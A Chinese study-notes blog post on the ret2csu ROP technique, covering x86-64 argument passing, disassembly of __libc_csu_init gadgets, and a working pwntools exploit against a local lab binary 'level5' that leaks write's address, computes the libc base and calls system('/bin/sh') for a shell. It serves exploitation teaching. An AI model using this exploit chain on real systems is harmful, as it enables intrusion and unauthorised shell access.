pwn学习笔记(9)-中级ROP--ret2csu

pwn学习笔记(9)-中级ROP–ret2csu

前置知识

​ 首先是64位文件的传参方式:前六个参数是从左到右放入寄存器:rdi、rsi、rdx、rcx、r8、r9,之后的通过栈传参。

​ 比如:

传参函数大于7个:

H(a,b,c,d,e,f,g,h)

a->%rdi、b->%rsi、c->%rdx、d->%rcx、e->%r8、f->%r9

h->(%esp)

g->(%esp)

call H

​ 先看看如下代码:

#include "stdio.h"


int H(int a,int b,int c,int d,int e,int f,int g,int h);

int main(){
        int a = 1,b = 2,c = 3,d = 4,e = 5,f = 6,g = 7,h = 8;
        printf("%d",H(a,b,c,d,e,f,g,h));
        return 0;
}



int H(int a,int b,int c,int d,int e,int f,int g,int h){
        return a+b+c+d+e+f+g+h;
}

​ 之后反汇编一下main函数和H函数的代码

0000000000001149 <main>:
    1149:       f3 0f 1e fa             endbr64
    114d:       55                      push   rbp
    114e:       48 89 e5                mov    rbp,rsp
    1151:       48 83 ec 20             sub    rsp,0x20
    1155:       c7 45 e0 01 00 00 00    mov    DWORD PTR [rbp-0x20],0x1
    115c:       c7 45 e4 02 00 00 00    mov    DWORD PTR [rbp-0x1c],0x2
    1163:       c7 45 e8 03 00 00 00    mov    DWORD PTR [rbp-0x18],0x3
    116a:       c7 45 ec 04 00 00 00    mov    DWORD PTR [rbp-0x14],0x4
    1171:       c7 45 f0 05 00 00 00    mov    DWORD PTR [rbp-0x10],0x5
    1178:       c7 45 f4 06 00 00 00    mov    DWORD PTR [rbp-0xc],0x6
    117f:       c7 45 f8 07 00 00 00    mov    DWORD PTR [rbp-0x8],0x7
    1186:       c7 45 fc 08 00 00 00    mov    DWORD PTR [rbp-0x4],0x8
    118d:       44 8b 4d f4             mov    r9d,DWORD PTR [rbp-0xc]
    1191:       44 8b 45 f0             mov    r8d,DWORD PTR [rbp-0x10]
    1195:       8b 4d ec                mov    ecx,DWORD PTR [rbp-0x14]
    1198:       8b 55 e8                mov    edx,DWORD PTR [rbp-0x18]
    119b:       8b 75 e4                mov    esi,DWORD PTR [rbp-0x1c]
    119e:       8b 45 e0                mov    eax,DWORD PTR [rbp-0x20]
    11a1:       8b 7d fc                mov    edi,DWORD PTR [rbp-0x4]
    11a4:       57                      push   rdi
    11a5:       8b 7d f8                mov    edi,DWORD PTR [rbp-0x8]
    11a8:       57                      push   rdi
    11a9:       89 c7                   mov    edi,eax
    11ab:       e8 1e 00 00 00          call   11ce <H>
    11b0:       48 83 c4 10             add    rsp,0x10
    11b4:       89 c6                   mov    esi,eax
    11b6:       48 8d 3d 47 0e 00 00    lea    rdi,[rip+0xe47]        # 2004 <_IO_stdin_used+0x4>
    11bd:       b8 00 00 00 00          mov    eax,0x0
    11c2:       e8 89 fe ff ff          call   1050 <printf@plt>
    11c7:       b8 00 00 00 00          mov    eax,0x0
    11cc:       c9                      leave
    11cd:       c3                      ret

00000000000011ce <H>:
    11ce:       f3 0f 1e fa             endbr64
    11d2:       55                      push   rbp
    11d3:       48 89 e5                mov    rbp,rsp
    11d6:       89 7d fc                mov    DWORD PTR [rbp-0x4],edi
    11d9:       89 75 f8                mov    DWORD PTR [rbp-0x8],esi
    11dc:       89 55 f4                mov    DWORD PTR [rbp-0xc],edx
    11df:       89 4d f0                mov    DWORD PTR [rbp-0x10],ecx
    11e2:       44 89 45 ec             mov    DWORD PTR [rbp-0x14],r8d
    11e6:       44 89 4d e8             mov    DWORD PTR [rbp-0x18],r9d
    11ea:       8b 55 fc                mov    edx,DWORD PTR [rbp-0x4]
    11ed:       8b 45 f8                mov    eax,DWORD PTR [rbp-0x8]
    11f0:       01 c2                   add    edx,eax
    11f2:       8b 45 f4                mov    eax,DWORD PTR [rbp-0xc]
    11f5:       01 c2                   add    edx,eax
    11f7:       8b 45 f0                mov    eax,DWORD PTR [rbp-0x10]
    11fa:       01 c2                   add    edx,eax
    11fc:       8b 45 ec                mov    eax,DWORD PTR [rbp-0x14]
    11ff:       01 c2                   add    edx,eax
    1201:       8b 45 e8                mov    eax,DWORD PTR [rbp-0x18]
    1204:       01 c2                   add    edx,eax
    1206:       8b 45 10                mov    eax,DWORD PTR [rbp+0x10]
    1209:       01 c2                   add    edx,eax
    120b:       8b 45 18                mov    eax,DWORD PTR [rbp+0x18]
    120e:       01 d0                   add    eax,edx
    1210:       5d                      pop    rbp
    1211:       c3                      ret

​ 很明显的就是前六个参数是寄存器传参,剩下两个就是栈传参。

libc_csu_init函数基础:

.text:0000000000001220
.text:0000000000001220 ; =============== S U B R O U T I N E =======================================
.text:0000000000001220
.text:0000000000001220
.text:0000000000001220 ; void _libc_csu_init(void)
.text:0000000000001220                 public __libc_csu_init
.text:0000000000001220 __libc_csu_init proc near               ; DATA XREF: _start+1A↑o
.text:0000000000001220 ; __unwind {
.text:0000000000001220                 endbr64
.text:0000000000001224                 push    r15
.text:0000000000001226                 lea     r15, __frame_dummy_init_array_entry
.text:000000000000122D                 push    r14
.text:000000000000122F                 mov     r14, rdx
.text:0000000000001232                 push    r13
.text:0000000000001234                 mov     r13, rsi
.text:0000000000001237                 push    r12
.text:0000000000001239                 mov     r12d, edi
.text:000000000000123C                 push    rbp
.text:000000000000123D                 lea     rbp, __do_global_dtors_aux_fini_array_entry
.text:0000000000001244                 push    rbx
.text:0000000000001245                 sub     rbp, r15
.text:0000000000001248                 sub     rsp, 8
.text:000000000000124C                 call    _init_proc
.text:0000000000001251                 sar     rbp, 3
.text:0000000000001255                 jz      short loc_1276
.text:0000000000001257                 xor     ebx, ebx
.text:0000000000001259                 nop     dword ptr [rax+00000000h]
.text:0000000000001260
.text:0000000000001260 loc_1260:                               ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000001260                 mov     rdx, r14
.text:0000000000001263                 mov     rsi, r13
.text:0000000000001266                 mov     edi, r12d
.text:0000000000001269                 call    ds:(__frame_dummy_init_array_entry - 3DB8h)[r15+rbx*8]
.text:000000000000126D                 add     rbx, 1
.text:0000000000001271                 cmp     rbp, rbx
.text:0000000000001274                 jnz     short loc_1260
.text:0000000000001276
.text:0000000000001276 loc_1276:                               ; CODE XREF: __libc_csu_init+35↑j
.text:0000000000001276                 add     rsp, 8
.text:000000000000127A                 pop     rbx
.text:000000000000127B                 pop     rbp
.text:000000000000127C                 pop     r12
.text:000000000000127E                 pop     r13
.text:0000000000001280                 pop     r14
.text:0000000000001282                 pop     r15
.text:0000000000001284                 retn
.text:0000000000001284 ; } // starts at 1220

​ 这里我们可以利用下面的几个点,上汇编:

.text:0000000000001276 loc_1276:                               ; CODE XREF: __libc_csu_init+35↑j
.text:0000000000001276                 add     rsp, 8
.text:000000000000127A                 pop     rbx
.text:000000000000127B                 pop     rbp
.text:000000000000127C                 pop     r12
.text:000000000000127E                 pop     r13
.text:0000000000001280                 pop     r14
.text:0000000000001282                 pop     r15
.text:0000000000001284                 retn

​ 发现了这里可以修改个别寄存器的值,然后是这儿,可以修改传参用的那几个寄存器的值:

.text:0000000000001260 loc_1260:                               ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000001260                 mov     rdx, r14
.text:0000000000001263                 mov     rsi, r13
.text:0000000000001266                 mov     edi, r12d
.text:0000000000001269                 call    ds:(__frame_dummy_init_array_entry - 3DB8h)[r15+rbx*8]
.text:000000000000126D                 add     rbx, 1
.text:0000000000001271                 cmp     rbp, rbx
.text:0000000000001274                 jnz     short loc_1260

​ 由此,我们可以通过控制r13等和传参用的寄存器相对应的来进行ret2syscall等操作。

例子:

​ 先看看架构:

g01den@MSI:~/Temp$ checksec pwn
[*] '/home/g01den/Temp/pwn'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

​ IDA分析:

ssize_t vulnerable_function()
{
  char buf[128]; // [rsp+0h] [rbp-80h] BYREF

  return read(0, buf, 0x200uLL);
}

​ 然后看看__libc_csu_init

.text:00000000004005C0
.text:00000000004005C0 ; =============== S U B R O U T I N E =======================================
.text:00000000004005C0
.text:00000000004005C0
.text:00000000004005C0 ; void __fastcall _libc_csu_init(unsigned int, __int64, __int64)
.text:00000000004005C0                 public __libc_csu_init
.text:00000000004005C0 __libc_csu_init proc near               ; DATA XREF: _start+16↑o
.text:00000000004005C0 ; __unwind {
.text:00000000004005C0                 push    r15
.text:00000000004005C2                 push    r14
.text:00000000004005C4                 mov     r15d, edi
.text:00000000004005C7                 push    r13
.text:00000000004005C9                 push    r12
.text:00000000004005CB                 lea     r12, __frame_dummy_init_array_entry
.text:00000000004005D2                 push    rbp
.text:00000000004005D3                 lea     rbp, __do_global_dtors_aux_fini_array_entry
.text:00000000004005DA                 push    rbx
.text:00000000004005DB                 mov     r14, rsi
.text:00000000004005DE                 mov     r13, rdx
.text:00000000004005E1                 sub     rbp, r12
.text:00000000004005E4                 sub     rsp, 8
.text:00000000004005E8                 sar     rbp, 3
.text:00000000004005EC                 call    _init_proc
.text:00000000004005F1                 test    rbp, rbp
.text:00000000004005F4                 jz      short loc_400616
.text:00000000004005F6                 xor     ebx, ebx
.text:00000000004005F8                 nop     dword ptr [rax+rax+00000000h]
.text:0000000000400600
.text:0000000000400600 loc_400600:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400600                 mov     rdx, r13
.text:0000000000400603                 mov     rsi, r14
.text:0000000000400606                 mov     edi, r15d
.text:0000000000400609                 call    ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]
.text:000000000040060D                 add     rbx, 1
.text:0000000000400611                 cmp     rbx, rbp
.text:0000000000400614                 jnz     short loc_400600
.text:0000000000400616
.text:0000000000400616 loc_400616:                             ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400616                 add     rsp, 8
.text:000000000040061A                 pop     rbx
.text:000000000040061B                 pop     rbp
.text:000000000040061C                 pop     r12
.text:000000000040061E                 pop     r13
.text:0000000000400620                 pop     r14
.text:0000000000400622                 pop     r15
.text:0000000000400624                 retn
.text:0000000000400624 ; } // starts at 4005C0

​ 由下面这个点可以知道,可以控制的寄存器为 edi、rsi、rdx,另外,call ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]还使得可以调用r12+rbx*8的一个地址的函数,所以,这里可以利用r12来跳转到write函数来泄露write函数的地址,然后就可以通过ret2libc来获得shell,

from pwn import *

p = process('./level5')
elf = ELF('level5')

pop_addr = 0x40061a
write_got = elf.got['write']
mov_addr = 0x400600
main_addr = elf.symbols['main']

p.recvuntil('Hello, World\n')
payload0 = 'A'*136 + p64(pop_addr) + p64(0) + p64(1) + p64(write_got) + p64(8) + p64(write_got) + p64(1) + p64(mov_addr) + 'a '*(0x8+8*6) + p64(main_addr)
p.sendline(payload0)

write_start = u64(p.recv(8))
print "write_addr_in_memory_is "+hex(write_start)

libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')
#libc=ELF('libc.so.6')

libc_base=write_start-libc.symbols['write']
system_addr=libc.symbols['system']+libc_base
binsh=next(libc.search('/bin/sh'))+libc_base

print "libc_base_addr_in_memory_is "+hex(libc_base)
print "system_addr_in_memory_is "+hex(system_addr)
print "/bin/sh_addr_in_memory_is "+hex(binsh)

pop_rdi_ret=0x400623
payload='a'*0x88+p64(pop_rdi_ret)+p64(binsh)+p64(system_addr)

p.send(payload)
p.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值